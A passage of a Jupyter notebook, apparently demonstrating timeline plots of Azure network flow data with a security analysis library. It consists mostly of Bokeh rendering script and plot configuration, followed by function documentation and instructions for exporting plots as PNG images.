== null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '4817' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"4817\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"4817\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"4817\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '4817' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"4817\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = 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Time\",\"formatter\":{\"id\":\"4852\",\"type\":\"DatetimeTickFormatter\"},\"ticker\":{\"id\":\"4831\",\"type\":\"DatetimeTicker\"}},\"id\":\"4830\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"4874\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"4870\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"4875\",\"type\":\"YearsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"4868\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"TotalAllowedFlows\",\"@TotalAllowedFlows\"],[\"FlowDirection\",\"@FlowDirection\"],[\"FlowType\",\"@FlowType\"],[\"L7Protocol\",\"@L7Protocol\"],[\"AllExtIPs\",\"@AllExtIPs\"]]},\"id\":\"4818\",\"type\":\"HoverTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"4869\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"4876\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"4852\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"4857\",\"type\":\"Circle\"},{\"attributes\":{\"items\":[{\"id\":\"4878\",\"type\":\"LegendItem\"}]},\"id\":\"4877\",\"type\":\"Legend\"},{\"attributes\":{\"source\":{\"id\":\"4854\",\"type\":\"ColumnDataSource\"}},\"id\":\"4859\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"Line plot can be misleading\"},\"id\":\"4820\",\"type\":\"Title\"}],\"root_ids\":[\"4819\"]},\"title\":\"Bokeh Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"a5c3b7fb-f093-480e-9ce2-a7c0e459c615\",\"roots\":{\"4819\":\"031298c6-1604-44b2-82c0-ef0f1c55ceac\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "4819" } }, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"5038\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"5038\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '5038' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"5038\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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"nbdisplay.display_timeline_values(data=az_net_flows_df[az_net_flows_df[\"L7Protocol\"] == \"http\"],\n", " group_by=\"L7Protocol\",\n", " title=\"Line plot can be misleading\", \n", " source_columns=[\"FlowType\", \n", " \"AllExtIPs\", \n", " \"L7Protocol\", \n", " \"FlowDirection\", \n", " \"TotalAllowedFlows\"],\n", " time_column=\"FlowStartTime\",\n", " y=\"TotalAllowedFlows\",\n", " legend=\"right\",\n", " height=300,\n", " kind=[\"line\", \"circle\"],\n", " range_tool=False\n", " );\n", "nbdisplay.display_timeline_values(data=az_net_flows_df[az_net_flows_df[\"L7Protocol\"] == \"http\"],\n", " group_by=\"L7Protocol\",\n", " title=\"Vbar and circle show zero gaps in data\", \n", " source_columns=[\"FlowType\", \n", " \"AllExtIPs\", \n", " \"L7Protocol\", \n", " \"FlowDirection\", \n", " \"TotalAllowedFlows\"],\n", " time_column=\"FlowStartTime\",\n", " y=\"TotalAllowedFlows\",\n", " legend=\"right\",\n", " height=300,\n", " kind=[\"vbar\", \"circle\"],\n", " range_tool=False\n", " );" ] }, { "cell_type": "markdown", "metadata": { "ExecuteTime": { "end_time": "2019-09-13T23:24:49.623044Z", "start_time": "2019-09-13T23:24:49.612030Z" } }, "source": [ "## Documentation for display_timeline_values\n", "```\n", "nbdisplay.display_timeline_values(\n", " data: pandas.core.frame.DataFrame,\n", " y: str,\n", " time_column: str = 'TimeGenerated',\n", " source_columns: list = None,\n", " **kwargs,\n", ") -> figure\n", "\n", "Display a timeline of events.\n", "\n", "Parameters\n", "----------\n", "data : pd.DataFrame\n", " DataFrame as a single data set or grouped into individual\n", " plot series using the `group_by` parameter\n", "time_column : str, optional\n", " Name of the timestamp column\n", " (the default is 'TimeGenerated')\n", "y : str\n", " The column name holding the value to plot vertically\n", "source_columns : list, optional\n", " List of default source columns to use in tooltips\n", " (the default is None)\n", "\n", "Other Parameters\n", "----------------\n", "x : str, optional\n", " alias of `time_column`\n", "title : str, optional\n", " Title to display (the default is None)\n", "ref_event : Any, optional\n", " Add a reference line/label using the alert time (the default is None)\n", "ref_time : datetime, optional\n", " Add a reference line/label using `ref_time` (the default is None)\n", "group_by : str\n", " (where `data` is a DataFrame)\n", " The column to group timelines on\n", "sort_by : str\n", " (where `data` is a DataFrame)\n", " The column to order timelines on\n", "legend: str, optional\n", " left, right or inline\n", " (the default is None/no legend)\n", "yaxis : bool, optional\n", " Whether to show the yaxis and labels\n", "range_tool : bool, optional\n", " Show the the range slider tool (default is True)\n", "height : int, optional\n", " The height of the plot figure\n", " (the default is auto-calculated height)\n", "width : int, optional\n", " The width of the plot figure (the default is 900)\n", "color : str\n", " Default series color (default is \"navy\"). This is overridden by\n", " automatic color assignments if plotting a grouped chart\n", "kind : Union[str, List[str]]\n", " one or more glyph types to plot., optional\n", " Supported types are \"circle\", \"line\" and \"vbar\" (default is \"vbar\")\n", "\n", "Returns\n", "-------\n", "figure\n", " The bokeh plot figure.\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Exporting Plots as PNGs\n", "To use bokeh.io image export functions you need selenium, phantomjs and pillow installed:\n", "\n", "`conda install -c bokeh selenium phantomjs pillow`\n", "\n", "or\n", "\n", "`pip install selenium pillow`\n", "`npm install -g phantomjs-prebuilt`\n", "\n", "For phantomjs see https://phantomjs.org/download.html.\n", "\n", "Once the prerequisites are installed you can create a plot and save the return value to a variable. \n", "Then export the plot using `export_png` function." ] }, { "cell_type": "markdown", "metadata": { "ExecuteTime": { "end_time": "2019-09-14T00:02:23.361597Z", "start_time": "2019-09-14T00:02:23.355600Z" } }, "source": [ "```python\n", "from bokeh.io import export_png\n", "from IPython.display import Image\n", "\n", "# Create a plot\n", "flow_plot = nbdisplay.display_timeline_values(data=az_net_flows_df,\n", " group_by=\"L7Protocol\",\n", " source_columns=[\"FlowType\", \n", " \"AllExtIPs\", \n", " \"L7Protocol\", \n", " \"FlowDirection\", \n", " \"TotalAllowedFlows\"],\n", " time_column=\"FlowStartTime\",\n", " y=\"TotalAllowedFlows\",\n", " legend=\"right\", \n", " height=500,\n", " kind=[\"vbar\", \"circle\"]\n", " );\n", "\n", "# Export \n", "file_name = \"plot.png\"\n", "export_png(flow_plot, filename=file_name)\n", "\n", "# Read it and show it\n", "display(Markdown(f\"## Here is our saved plot: {file_name}\"))\n", "Image(filename=file_name)\n", "```" ] } ], "metadata": { "celltoolbar": "Tags", "hide_input": false, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.5" }, "toc": { "base_numbering": 1, "nav_menu": { "height": "318.996px", "width": "320.994px" }, "number_sections": false, "sideBar": true, "skip_h1_title": false, "title_cell": "Table of Contents", "title_sidebar": "Contents", "toc_cell": true, "toc_position": { "height": "calc(100% - 180px)", "left": "10px", "top": "150px", "width": "165px" }, "toc_section_display": true, "toc_window_display": true }, "varInspector": { "cols": { "lenName": 16, "lenType": 16, "lenVar": 40 }, "kernels_config": { "python": { "delete_cmd_postfix": "", "delete_cmd_prefix": "del ", "library": "var_list.py", "varRefreshCmd": "print(var_dic_list())" }, "r": { "delete_cmd_postfix": ") ", "delete_cmd_prefix": "rm(", "library": "var_list.r", "varRefreshCmd": "cat(var_dic_list()) " } }, "position": { "height": "406.193px", "left": "1468.4px", "right": "20px", "top": "120px", "width": "456.572px" }, "types_to_exclude": [ "module", "function", "builtin_function_or_method", "instance", "_Feature" ], "window_display": false } }, "nbformat": 4, "nbformat_minor": 2 }